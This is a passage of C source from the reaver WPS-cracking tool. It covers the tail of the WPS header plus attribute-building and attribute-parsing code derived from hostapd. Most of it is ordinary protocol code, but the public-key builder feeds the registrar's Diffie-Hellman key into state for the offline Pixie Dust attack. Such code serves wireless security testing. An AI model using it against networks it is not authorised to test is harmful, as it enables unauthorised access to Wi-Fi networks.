mac_addr[ETH_ALEN]; const u8 *cred_attr; size_t cred_attr_len; }; #define WPS_DEV_TYPE_LEN 8 #define WPS_DEV_TYPE_BUFSIZE 21 /** * struct wps_device_data - WPS Device Data * @mac_addr: Device MAC address * @device_name: Device Name (0..32 octets encoded in UTF-8) * @manufacturer: Manufacturer (0..64 octets encoded in UTF-8) * @model_name: Model Name (0..32 octets encoded in UTF-8) * @model_number: Model Number (0..32 octets encoded in UTF-8) * @serial_number: Serial Number (0..32 octets encoded in UTF-8) * @pri_dev_type: Primary Device Type * @os_version: OS Version * @rf_bands: RF bands (WPS_RF_24GHZ, WPS_RF_50GHZ flags) */ struct wps_device_data { u8 mac_addr[ETH_ALEN]; char *device_name; char *manufacturer; char *model_name; char *model_number; char *serial_number; u8 pri_dev_type[WPS_DEV_TYPE_LEN]; u32 os_version; u8 rf_bands; }; struct oob_conf_data { enum { OOB_METHOD_UNKNOWN = 0, OOB_METHOD_DEV_PWD_E, OOB_METHOD_DEV_PWD_R, OOB_METHOD_CRED } oob_method; struct wpabuf *dev_password; struct wpabuf *pubkey_hash; }; /** * struct wps_config - WPS configuration for a single registration protocol run */ struct wps_config { /** * wps - Pointer to long term WPS context */ struct wps_context *wps; /** * registrar - Whether this end is a Registrar */ int registrar; /** * pin - Enrollee Device Password (%NULL for Registrar or PBC) */ const u8 *pin; /** * pin_len - Length on pin in octets */ size_t pin_len; /** * pbc - Whether this is protocol run uses PBC */ int pbc; /** * assoc_wps_ie: (Re)AssocReq WPS IE (in AP; %NULL if not AP) */ const struct wpabuf *assoc_wps_ie; /** * new_ap_settings - New AP settings (%NULL if not used) * * This parameter provides new AP settings when using a wireless * stations as a Registrar to configure the AP. %NULL means that AP * will not be reconfigured, i.e., the station will only learn the * current AP settings by using AP PIN. */ const struct wps_credential *new_ap_settings; /** * peer_addr: MAC address of the peer in AP; %NULL if not AP */ const u8 *peer_addr; /** * use_psk_key - Use PSK format key in Credential * * Force PSK format to be used instead of ASCII passphrase when * building Credential for an Enrollee. The PSK value is set in * struct wpa_context::psk. */ int use_psk_key; }; struct wps_data * wps_init(const struct wps_config *cfg); void wps_deinit(struct wps_data *data); /** * enum wps_process_res - WPS message processing result */ enum wps_process_res { /** * WPS_DONE - Processing done */ WPS_DONE, /** * WPS_CONTINUE - Processing continues */ WPS_CONTINUE, /** * WPS_FAILURE - Processing failed */ WPS_FAILURE, /** * WPS_PENDING - Processing continues, but waiting for an external * event (e.g., UPnP message from an external Registrar) */ WPS_PENDING }; enum wps_process_res wps_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg); struct wpabuf * wps_get_msg(struct wps_data *wps, enum wsc_op_code *op_code); int wps_is_selected_pbc_registrar(const struct wpabuf *msg); int wps_is_selected_pin_registrar(const struct wpabuf *msg); const u8 * wps_get_uuid_e(const struct wpabuf *msg); struct wpabuf * wps_build_assoc_req_ie(enum wps_request_type req_type); struct wpabuf * wps_build_assoc_resp_ie(void); struct wpabuf * wps_build_probe_req_ie(int pbc, struct wps_device_data *dev, const u8 *uuid, enum wps_request_type req_type); /** * struct wps_registrar_config - WPS Registrar configuration */ struct wps_registrar_config { /** * new_psk_cb - Callback for new PSK * @ctx: Higher layer context data (cb_ctx) * @mac_addr: MAC address of the Enrollee * @psk: The new PSK * @psk_len: The length of psk in octets * Returns: 0 on success, -1 on failure * * This callback is called when a new per-device PSK is provisioned. */ int (*new_psk_cb)(void *ctx, const u8 *mac_addr, const u8 *psk, size_t psk_len); /** * set_ie_cb - Callback for WPS IE changes * @ctx: Higher layer context data (cb_ctx) * @beacon_ie: WPS IE for Beacon * @probe_resp_ie: WPS IE for Probe Response * Returns: 0 on success, -1 on failure * * This callback is called whenever the WPS IE in Beacon or Probe * Response frames needs to be changed (AP only). Callee is responsible * for freeing the buffers. */ int (*set_ie_cb)(void *ctx, struct wpabuf *beacon_ie, struct wpabuf *probe_resp_ie); /** * pin_needed_cb - Callback for requesting a PIN * @ctx: Higher layer context data (cb_ctx) * @uuid_e: UUID-E of the unknown Enrollee * @dev: Device Data from the unknown Enrollee * * This callback is called whenever an unknown Enrollee requests to use * PIN method and a matching PIN (Device Password) is not found in * Registrar data. */ void (*pin_needed_cb)(void *ctx, const u8 *uuid_e, const struct wps_device_data *dev); /** * reg_success_cb - Callback for reporting successful registration * @ctx: Higher layer context data (cb_ctx) * @mac_addr: MAC address of the Enrollee * @uuid_e: UUID-E of the Enrollee * * This callback is called whenever an Enrollee completes registration * successfully. */ void (*reg_success_cb)(void *ctx, const u8 *mac_addr, const u8 *uuid_e); /** * set_sel_reg_cb - Callback for reporting selected registrar changes * @ctx: Higher layer context data (cb_ctx) * @sel_reg: Whether the Registrar is selected * @dev_passwd_id: Device Password ID to indicate with method or * specific password the Registrar intends to use * @sel_reg_config_methods: Bit field of active config methods * * This callback is called whenever the Selected Registrar state * changes (e.g., a new PIN becomes available or PBC is invoked). This * callback is only used by External Registrar implementation; * set_ie_cb() is used by AP implementation in similar caes, but it * provides the full WPS IE data instead of just the minimal Registrar * state information. */ void (*set_sel_reg_cb)(void *ctx, int sel_reg, u16 dev_passwd_id, u16 sel_reg_config_methods); /** * enrollee_seen_cb - Callback for reporting Enrollee based on ProbeReq * @ctx: Higher layer context data (cb_ctx) * @addr: MAC address of the Enrollee * @uuid_e: UUID of the Enrollee * @pri_dev_type: Primary device type * @config_methods: Config Methods * @dev_password_id: Device Password ID * @request_type: Request Type * @dev_name: Device Name (if available) */ void (*enrollee_seen_cb)(void *ctx, const u8 *addr, const u8 *uuid_e, const u8 *pri_dev_type, u16 config_methods, u16 dev_password_id, u8 request_type, const char *dev_name); /** * cb_ctx: Higher layer context data for Registrar callbacks */ void *cb_ctx; /** * skip_cred_build: Do not build credential * * This option can be used to disable internal code that builds * Credential attribute into M8 based on the current network * configuration and Enrollee capabilities. The extra_cred data will * then be used as the Credential(s). */ int skip_cred_build; /** * extra_cred: Additional Credential attribute(s) * * This optional data (set to %NULL to disable) can be used to add * Credential attribute(s) for other networks into M8. If * skip_cred_build is set, this will also override the automatically * generated Credential attribute. */ const u8 *extra_cred; /** * extra_cred_len: Length of extra_cred in octets */ size_t extra_cred_len; /** * disable_auto_conf - Disable auto-configuration on first registration * * By default, the AP that is started in not configured state will * generate a random PSK and move to configured state when the first * registration protocol run is completed successfully. This option can * be used to disable this functionality and leave it up to an external * program to take care of configuration. This requires the extra_cred * to be set with a suitable Credential and skip_cred_build being used. */ int disable_auto_conf; /** * static_wep_only - Whether the BSS supports only static WEP */ int static_wep_only; }; /** * enum wps_event - WPS event types */ enum wps_event { /** * WPS_EV_M2D - M2D received (Registrar did not know us) */ WPS_EV_M2D, /** * WPS_EV_FAIL - Registration failed */ WPS_EV_FAIL, /** * WPS_EV_SUCCESS - Registration succeeded */ WPS_EV_SUCCESS, /** * WPS_EV_PWD_AUTH_FAIL - Password authentication failed */ WPS_EV_PWD_AUTH_FAIL, /** * WPS_EV_PBC_OVERLAP - PBC session overlap detected */ WPS_EV_PBC_OVERLAP, /** * WPS_EV_PBC_TIMEOUT - PBC walktime expired before protocol run start */ WPS_EV_PBC_TIMEOUT, /** * WPS_EV_ER_AP_ADD - ER: AP added */ WPS_EV_ER_AP_ADD, /** * WPS_EV_ER_AP_REMOVE - ER: AP removed */ WPS_EV_ER_AP_REMOVE, /** * WPS_EV_ER_ENROLLEE_ADD - ER: Enrollee added */ WPS_EV_ER_ENROLLEE_ADD, /** * WPS_EV_ER_ENROLLEE_REMOVE - ER: Enrollee removed */ WPS_EV_ER_ENROLLEE_REMOVE }; /** * union wps_event_data - WPS event data */ union wps_event_data { /** * struct wps_event_m2d - M2D event data */ struct wps_event_m2d { u16 config_methods; const u8 *manufacturer; size_t manufacturer_len; const u8 *model_name; size_t model_name_len; const u8 *model_number; size_t model_number_len; const u8 *serial_number; size_t serial_number_len; const u8 *dev_name; size_t dev_name_len; const u8 *primary_dev_type; /* 8 octets */ u16 config_error; u16 dev_password_id; } m2d; /** * struct wps_event_fail - Registration failure information * @msg: enum wps_msg_type */ struct wps_event_fail { int msg; } fail; struct wps_event_pwd_auth_fail { int enrollee; int part; } pwd_auth_fail; struct wps_event_er_ap { const u8 *uuid; const u8 *mac_addr; const char *friendly_name; const char *manufacturer; const char *manufacturer_url; const char *model_description; const char *model_name; const char *model_number; const char *model_url; const char *serial_number; const char *upc; const u8 *pri_dev_type; u8 wps_state; } ap; struct wps_event_er_enrollee { const u8 *uuid; const u8 *mac_addr; int m1_received; u16 config_methods; u16 dev_passwd_id; const u8 *pri_dev_type; const char *dev_name; const char *manufacturer; const char *model_name; const char *model_number; const char *serial_number; } enrollee; }; /** * struct upnp_pending_message - Pending PutWLANResponse messages * @next: Pointer to next pending message or %NULL * @addr: NewWLANEventMAC * @msg: NewMessage * @type: Message Type */ struct upnp_pending_message { struct upnp_pending_message *next; u8 addr[ETH_ALEN]; struct wpabuf *msg; enum wps_msg_type type; }; /** * struct wps_context - Long term WPS context data * * This data is stored at the higher layer Authenticator or Supplicant data * structures and it is maintained over multiple registration protocol runs. */ struct wps_context { /** * ap - Whether the local end is an access point */ int ap; /** * registrar - Pointer to WPS registrar data from wps_registrar_init() */ struct wps_registrar *registrar; /** * wps_state - Current WPS state */ enum wps_state wps_state; /** * ap_setup_locked - Whether AP setup is locked (only used at AP) */ int ap_setup_locked; /** * uuid - Own UUID */ u8 uuid[16]; /** * ssid - SSID * * This SSID is used by the Registrar to fill in information for * Credentials. In addition, AP uses it when acting as an Enrollee to * notify Registrar of the current configuration. */ u8 ssid[32]; /** * ssid_len - Length of ssid in octets */ size_t ssid_len; /** * dev - Own WPS device data */ struct wps_device_data dev; /** * oob_conf - OOB Config data */ struct oob_conf_data oob_conf; /** * oob_dev_pw_id - OOB Device password id */ u16 oob_dev_pw_id; /** * dh_ctx - Context data for Diffie-Hellman operation */ void *dh_ctx; /** * dh_privkey - Diffie-Hellman private key */ struct wpabuf *dh_privkey; /** * dh_pubkey_oob - Diffie-Hellman public key */ struct wpabuf *dh_pubkey; /** * config_methods - Enabled configuration methods * * Bit field of WPS_CONFIG_* */ u16 config_methods; /** * encr_types - Enabled encryption types (bit field of WPS_ENCR_*) */ u16 encr_types; /** * auth_types - Authentication types (bit field of WPS_AUTH_*) */ u16 auth_types; /** * network_key - The current Network Key (PSK) or %NULL to generate new * * If %NULL, Registrar will generate per-device PSK. In addition, AP * uses this when acting as an Enrollee to notify Registrar of the * current configuration. * * When using WPA/WPA2-Person, this key can be either the ASCII * passphrase (8..63 characters) or the 32-octet PSK (64 hex * characters). When this is set to the ASCII passphrase, the PSK can * be provided in the psk buffer and used per-Enrollee to control which * key type is included in the Credential (e.g., to reduce calculation * need on low-powered devices by provisioning PSK while still allowing * other devices to get the passphrase). */ u8 *network_key; /** * network_key_len - Length of network_key in octets */ size_t network_key_len; /** * psk - The current network PSK * * This optional value can be used to provide the current PSK if * network_key is set to the ASCII passphrase. */ u8 psk[32]; /** * psk_set - Whether psk value is set */ int psk_set; /** * ap_settings - AP Settings override for M7 (only used at AP) * * If %NULL, AP Settings attributes will be generated based on the * current network configuration. */ u8 *ap_settings; /** * ap_settings_len - Length of ap_settings in octets */ size_t ap_settings_len; /** * friendly_name - Friendly Name (required for UPnP) */ char *friendly_name; /** * manufacturer_url - Manufacturer URL (optional for UPnP) */ char *manufacturer_url; /** * model_description - Model Description (recommended for UPnP) */ char *model_description; /** * model_url - Model URL (optional for UPnP) */ char *model_url; /** * upc - Universal Product Code (optional for UPnP) */ char *upc; /** * cred_cb - Callback to notify that new Credentials were received * @ctx: Higher layer context data (cb_ctx) * @cred: The received Credential * Return: 0 on success, -1 on failure */ int (*cred_cb)(void *ctx, const struct wps_credential *cred); /** * event_cb - Event callback (state information about progress) * @ctx: Higher layer context data (cb_ctx) * @event: Event type * @data: Event data */ void (*event_cb)(void *ctx, enum wps_event event, union wps_event_data *data); /** * cb_ctx: Higher layer context data for callbacks */ void *cb_ctx; struct upnp_wps_device_sm *wps_upnp; /* Pending messages from UPnP PutWLANResponse */ struct upnp_pending_message *upnp_msgs; }; struct oob_device_data { char *device_name; char *device_path; void * (*init_func)(struct wps_context *, struct oob_device_data *, int); struct wpabuf * (*read_func)(void *); int (*write_func)(void *, struct wpabuf *); void (*deinit_func)(void *); }; struct oob_nfc_device_data { int (*init_func)(char *); void * (*read_func)(size_t *); int (*write_func)(void *, size_t); void (*deinit_func)(void); }; struct wps_registrar * wps_registrar_init(struct wps_context *wps, const struct wps_registrar_config *cfg); void wps_registrar_deinit(struct wps_registrar *reg); int wps_registrar_add_pin(struct wps_registrar *reg, const u8 *uuid, const u8 *pin, size_t pin_len, int timeout); int wps_registrar_invalidate_pin(struct wps_registrar *reg, const u8 *uuid); int wps_registrar_unlock_pin(struct wps_registrar *reg, const u8 *uuid); int wps_registrar_button_pushed(struct wps_registrar *reg); void wps_registrar_probe_req_rx(struct wps_registrar *reg, const u8 *addr, const struct wpabuf *wps_data); int wps_registrar_update_ie(struct wps_registrar *reg); int wps_registrar_get_info(struct wps_registrar *reg, const u8 *addr, char *buf, size_t buflen); unsigned int wps_pin_checksum(unsigned int pin); unsigned int wps_pin_valid(unsigned int pin); unsigned int wps_generate_pin(void); void wps_free_pending_msgs(struct upnp_pending_message *msgs); struct oob_device_data * wps_get_oob_device(char *device_type); struct oob_nfc_device_data * wps_get_oob_nfc_device(char *device_name); int wps_get_oob_method(char *method); int wps_process_oob(struct wps_context *wps, struct oob_device_data *oob_dev, int registrar); int wps_attr_text(struct wpabuf *data, char *buf, char *end); struct wps_er * wps_er_init(struct wps_context *wps, const char *ifname); void wps_er_refresh(struct wps_er *er); void wps_er_deinit(struct wps_er *er, void (*cb)(void *ctx), void *ctx); void wps_er_set_sel_reg(struct wps_er *er, int sel_reg, u16 dev_passwd_id, u16 sel_reg_config_methods); int wps_er_pbc(struct wps_er *er, const u8 *uuid); int wps_er_learn(struct wps_er *er, const u8 *uuid, const u8 *pin, size_t pin_len); int wps_dev_type_str2bin(const char *str, u8 dev_type[WPS_DEV_TYPE_LEN]); char * wps_dev_type_bin2str(const u8 dev_type[WPS_DEV_TYPE_LEN], char *buf, size_t buf_len); void uuid_gen_mac_addr(const u8 *mac_addr, u8 *uuid); u16 wps_config_methods_str2bin(const char *str); #endif /* WPS_H */ reaver-wps-fork-t6x-1.6.6/src/wps/wps_attr_build.c000066400000000000000000000212051363372615500220760ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - attribute building * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/aes_wrap.h" #include "crypto/crypto.h" #include "crypto/dh_group5.h" #include "crypto/sha256.h" #include "wps_i.h" #include "pixie.h" #include "globule.h" int wps_build_public_key(struct wps_data *wps, struct wpabuf *msg) { struct wpabuf *pubkey; wpa_printf(MSG_DEBUG, "WPS: * Public Key"); wpabuf_free(wps->dh_privkey); //if (wps->dev_pw_id != DEV_PW_DEFAULT && wps->wps->dh_privkey) { if (wps->wps->dh_privkey) { wpa_printf(MSG_DEBUG, "WPS: Using pre-configured DH keys"); wps->dh_privkey = wpabuf_dup(wps->wps->dh_privkey); wps->dh_ctx = wps->wps->dh_ctx; wps->wps->dh_ctx = NULL; pubkey = wpabuf_dup(wps->wps->dh_pubkey); } else { wpa_printf(MSG_DEBUG, "WPS: Generate new DH keys"); wps->dh_privkey = NULL; dh5_free(wps->dh_ctx); wps->dh_ctx = dh5_init(&wps->dh_privkey, &pubkey); pubkey = wpabuf_zeropad(pubkey, 192); } if (wps->dh_ctx == NULL || wps->dh_privkey == NULL || pubkey == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to initialize " "Diffie-Hellman handshake"); wpabuf_free(pubkey); return -1; } wpa_hexdump_buf_key(MSG_DEBUG, "WPS: DH Private Key", wps->dh_privkey); wpa_hexdump_buf(MSG_DEBUG, "WPS: DH own Public Key", pubkey); wpabuf_put_be16(msg, ATTR_PUBLIC_KEY); wpabuf_put_be16(msg, wpabuf_len(pubkey)); wpabuf_put_buf(msg, pubkey); if (wps->registrar) { wpabuf_free(wps->dh_pubkey_r); wps->dh_pubkey_r = pubkey; if(pixie.do_pixie) { char buf[1024]; pixie_format(wpabuf_mhead_u8(pubkey), 192, buf); PIXIE_SET(pkr, buf); } } else { wpabuf_free(wps->dh_pubkey_e); wps->dh_pubkey_e = pubkey; } return 0; } int wps_build_req_type(struct wpabuf *msg, enum wps_request_type type) { wpa_printf(MSG_DEBUG, "WPS: * Request Type"); wpabuf_put_be16(msg, ATTR_REQUEST_TYPE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, type); return 0; } int wps_build_resp_type(struct wpabuf *msg, enum wps_response_type type) { wpa_printf(MSG_DEBUG, "WPS: * Response Type (%d)", type); wpabuf_put_be16(msg, ATTR_RESPONSE_TYPE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, type); return 0; } int wps_build_config_methods(struct wpabuf *msg, u16 methods) { wpa_printf(MSG_DEBUG, "WPS: * Config Methods (%x)", methods); wpabuf_put_be16(msg, ATTR_CONFIG_METHODS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, methods); return 0; } int wps_build_uuid_e(struct wpabuf *msg, const u8 *uuid) { wpa_printf(MSG_DEBUG, "WPS: * UUID-E"); wpabuf_put_be16(msg, ATTR_UUID_E); wpabuf_put_be16(msg, WPS_UUID_LEN); wpabuf_put_data(msg, uuid, WPS_UUID_LEN); return 0; } int wps_build_dev_password_id(struct wpabuf *msg, u16 id) { wpa_printf(MSG_DEBUG, "WPS: * Device Password ID (%d)", id); wpabuf_put_be16(msg, ATTR_DEV_PASSWORD_ID); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, id); return 0; } int wps_build_config_error(struct wpabuf *msg, u16 err) { wpa_printf(MSG_DEBUG, "WPS: * Configuration Error (%d)", err); wpabuf_put_be16(msg, ATTR_CONFIG_ERROR); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, err); return 0; } int wps_build_authenticator(struct wps_data *wps, struct wpabuf *msg) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[2]; size_t len[2]; if (wps->last_msg == NULL) { wpa_printf(MSG_DEBUG, "WPS: Last message not available for " "building authenticator"); return -1; } /* Authenticator = HMAC-SHA256_AuthKey(M_prev || M_curr*) * (M_curr* is M_curr without the Authenticator attribute) */ addr[0] = wpabuf_head(wps->last_msg); len[0] = wpabuf_len(wps->last_msg); addr[1] = wpabuf_head(msg); len[1] = wpabuf_len(msg); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 2, addr, len, hash); wpa_printf(MSG_DEBUG, "WPS: * Authenticator"); wpabuf_put_be16(msg, ATTR_AUTHENTICATOR); wpabuf_put_be16(msg, WPS_AUTHENTICATOR_LEN); wpabuf_put_data(msg, hash, WPS_AUTHENTICATOR_LEN); return 0; } int wps_build_version(struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Version"); wpabuf_put_be16(msg, ATTR_VERSION); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, WPS_VERSION); return 0; } int wps_build_msg_type(struct wpabuf *msg, enum wps_msg_type msg_type) { wpa_printf(MSG_DEBUG, "WPS: * Message Type (%d)", msg_type); wpabuf_put_be16(msg, ATTR_MSG_TYPE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, msg_type); return 0; } int wps_build_enrollee_nonce(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Enrollee Nonce"); wpabuf_put_be16(msg, ATTR_ENROLLEE_NONCE); wpabuf_put_be16(msg, WPS_NONCE_LEN); wpabuf_put_data(msg, wps->nonce_e, WPS_NONCE_LEN); return 0; } int wps_build_registrar_nonce(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Registrar Nonce"); wpabuf_put_be16(msg, ATTR_REGISTRAR_NONCE); wpabuf_put_be16(msg, WPS_NONCE_LEN); wpabuf_put_data(msg, wps->nonce_r, WPS_NONCE_LEN); return 0; } int wps_build_auth_type_flags(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Authentication Type Flags"); wpabuf_put_be16(msg, ATTR_AUTH_TYPE_FLAGS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, WPS_AUTH_TYPES); return 0; } int wps_build_encr_type_flags(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Encryption Type Flags"); wpabuf_put_be16(msg, ATTR_ENCR_TYPE_FLAGS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, WPS_ENCR_TYPES); return 0; } int wps_build_conn_type_flags(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Connection Type Flags"); wpabuf_put_be16(msg, ATTR_CONN_TYPE_FLAGS); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, WPS_CONN_ESS); // wpabuf_put_u8(msg, WPS_CONN_ESS | WPS_CONN_IBSS); return 0; } int wps_build_assoc_state(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Association State"); wpabuf_put_be16(msg, ATTR_ASSOC_STATE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, WPS_ASSOC_NOT_ASSOC); // wpabuf_put_be16(msg, WPS_ASSOC_CONN_SUCCESS); return 0; } int wps_build_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg) { u8 hash[SHA256_MAC_LEN]; wpa_printf(MSG_DEBUG, "WPS: * Key Wrap Authenticator"); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, wpabuf_head(msg), wpabuf_len(msg), hash); wpabuf_put_be16(msg, ATTR_KEY_WRAP_AUTH); wpabuf_put_be16(msg, WPS_KWA_LEN); wpabuf_put_data(msg, hash, WPS_KWA_LEN); return 0; } int wps_build_encr_settings(struct wps_data *wps, struct wpabuf *msg, struct wpabuf *plain) { size_t pad_len; const size_t block_size = 16; u8 *iv, *data; wpa_printf(MSG_DEBUG, "WPS: * Encrypted Settings"); /* PKCS#5 v2.0 pad */ pad_len = block_size - wpabuf_len(plain) % block_size; os_memset(wpabuf_put(plain, pad_len), pad_len, pad_len); wpabuf_put_be16(msg, ATTR_ENCR_SETTINGS); wpabuf_put_be16(msg, block_size + wpabuf_len(plain)); iv = wpabuf_put(msg, block_size); if (os_get_random(iv, block_size) < 0) return -1; data = wpabuf_put(msg, 0); wpabuf_put_buf(msg, plain); if (aes_128_cbc_encrypt(wps->keywrapkey, iv, data, wpabuf_len(plain))) return -1; return 0; } #ifdef CONFIG_WPS_OOB int wps_build_oob_dev_password(struct wpabuf *msg, struct wps_context *wps) { size_t hash_len; const u8 *addr[1]; u8 pubkey_hash[WPS_HASH_LEN]; u8 dev_password_bin[WPS_OOB_DEVICE_PASSWORD_LEN]; wpa_printf(MSG_DEBUG, "WPS: * OOB Device Password"); addr[0] = wpabuf_head(wps->dh_pubkey); hash_len = wpabuf_len(wps->dh_pubkey); sha256_vector(1, addr, &hash_len, pubkey_hash); if (os_get_random((u8 *) &wps->oob_dev_pw_id, sizeof(u16)) < 0) { wpa_printf(MSG_ERROR, "WPS: device password id " "generation error"); return -1; } wps->oob_dev_pw_id |= 0x0010; if (os_get_random(dev_password_bin, WPS_OOB_DEVICE_PASSWORD_LEN) < 0) { wpa_printf(MSG_ERROR, "WPS: OOB device password " "generation error"); return -1; } wpabuf_put_be16(msg, ATTR_OOB_DEVICE_PASSWORD); wpabuf_put_be16(msg, WPS_OOB_DEVICE_PASSWORD_ATTR_LEN); wpabuf_put_data(msg, pubkey_hash, WPS_OOB_PUBKEY_HASH_LEN); wpabuf_put_be16(msg, wps->oob_dev_pw_id); wpabuf_put_data(msg, dev_password_bin, WPS_OOB_DEVICE_PASSWORD_LEN); wpa_snprintf_hex_uppercase( wpabuf_put(wps->oob_conf.dev_password, wpabuf_size(wps->oob_conf.dev_password)), wpabuf_size(wps->oob_conf.dev_password), dev_password_bin, WPS_OOB_DEVICE_PASSWORD_LEN); return 0; } #endif /* CONFIG_WPS_OOB */ reaver-wps-fork-t6x-1.6.6/src/wps/wps_attr_parse.c000066400000000000000000000246041363372615500221170ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - attribute parsing * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "wps_i.h" #define WPS_WORKAROUNDS static int wps_set_attr(struct wps_parse_attr *attr, u16 type, const u8 *pos, u16 len) { switch (type) { case ATTR_VERSION: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Version length %u", len); return -1; } attr->version = pos; break; case ATTR_MSG_TYPE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type " "length %u", len); return -1; } attr->msg_type = pos; break; case ATTR_ENROLLEE_NONCE: if (len != WPS_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Enrollee Nonce " "length %u", len); return -1; } attr->enrollee_nonce = pos; break; case ATTR_REGISTRAR_NONCE: if (len != WPS_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Registrar Nonce " "length %u", len); return -1; } attr->registrar_nonce = pos; break; case ATTR_UUID_E: if (len != WPS_UUID_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid UUID-E length %u", len); return -1; } attr->uuid_e = pos; break; case ATTR_UUID_R: if (len != WPS_UUID_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid UUID-R length %u", len); return -1; } attr->uuid_r = pos; break; case ATTR_AUTH_TYPE_FLAGS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Authentication " "Type Flags length %u", len); return -1; } attr->auth_type_flags = pos; break; case ATTR_ENCR_TYPE_FLAGS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Encryption Type " "Flags length %u", len); return -1; } attr->encr_type_flags = pos; break; case ATTR_CONN_TYPE_FLAGS: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Connection Type " "Flags length %u", len); return -1; } attr->conn_type_flags = pos; break; case ATTR_CONFIG_METHODS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Config Methods " "length %u", len); return -1; } attr->config_methods = pos; break; case ATTR_SELECTED_REGISTRAR_CONFIG_METHODS: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Selected " "Registrar Config Methods length %u", len); return -1; } attr->sel_reg_config_methods = pos; break; case ATTR_PRIMARY_DEV_TYPE: if (len != WPS_DEV_TYPE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Primary Device " "Type length %u", len); return -1; } attr->primary_dev_type = pos; break; case ATTR_RF_BANDS: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid RF Bands length " "%u", len); return -1; } attr->rf_bands = pos; break; case ATTR_ASSOC_STATE: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Association State " "length %u", len); return -1; } attr->assoc_state = pos; break; case ATTR_CONFIG_ERROR: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Configuration " "Error length %u", len); return -1; } attr->config_error = pos; break; case ATTR_DEV_PASSWORD_ID: if (len != 2) { wpa_printf(MSG_DEBUG, "WPS: Invalid Device Password " "ID length %u", len); return -1; } attr->dev_password_id = pos; break; case ATTR_OOB_DEVICE_PASSWORD: if (len != WPS_OOB_DEVICE_PASSWORD_ATTR_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid OOB Device " "Password length %u", len); return -1; } attr->oob_dev_password = pos; break; case ATTR_OS_VERSION: if (len != 4) { wpa_printf(MSG_DEBUG, "WPS: Invalid OS Version length " "%u", len); return -1; } attr->os_version = pos; break; case ATTR_WPS_STATE: if (len != 1) { wpa_printf(MSG_DEBUG, "WPS: Invalid Wi-Fi Protected " "Setup State length %u", len); return -1; } attr->wps_state = pos; break; case ATTR_AUTHENTICATOR: if (len != WPS_AUTHENTICATOR_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid Authenticator " "length %u", len); return -1; } attr->authenticator = pos; break; case ATTR_R_HASH1: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-Hash1 length %u", len); return -1; } attr->r_hash1 = pos; break; case ATTR_R_HASH2: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-Hash2 length %u", len); return -1; } attr->r_hash2 = pos; break; case ATTR_E_HASH1: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid E-Hash1 length %u", len); return -1; } attr->e_hash1 = pos; break; case ATTR_E_HASH2: if (len != WPS_HASH_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid E-Hash2 length %u", len); return -1; } attr->e_hash2 = pos; break; case ATTR_R_SNONCE1: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-SNonce1 length " "%u", len); return -1; } attr->r_snonce1 = pos; break; case ATTR_R_SNONCE2: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid R-SNonce2 length " "%u", len); return -1; } attr->r_snonce2 = pos; break; case ATTR_E_SNONCE1: if (len != WPS_SECRET_NONCE_LEN) { wpa_printf(MSG_DEBUG, "WPS: Invalid 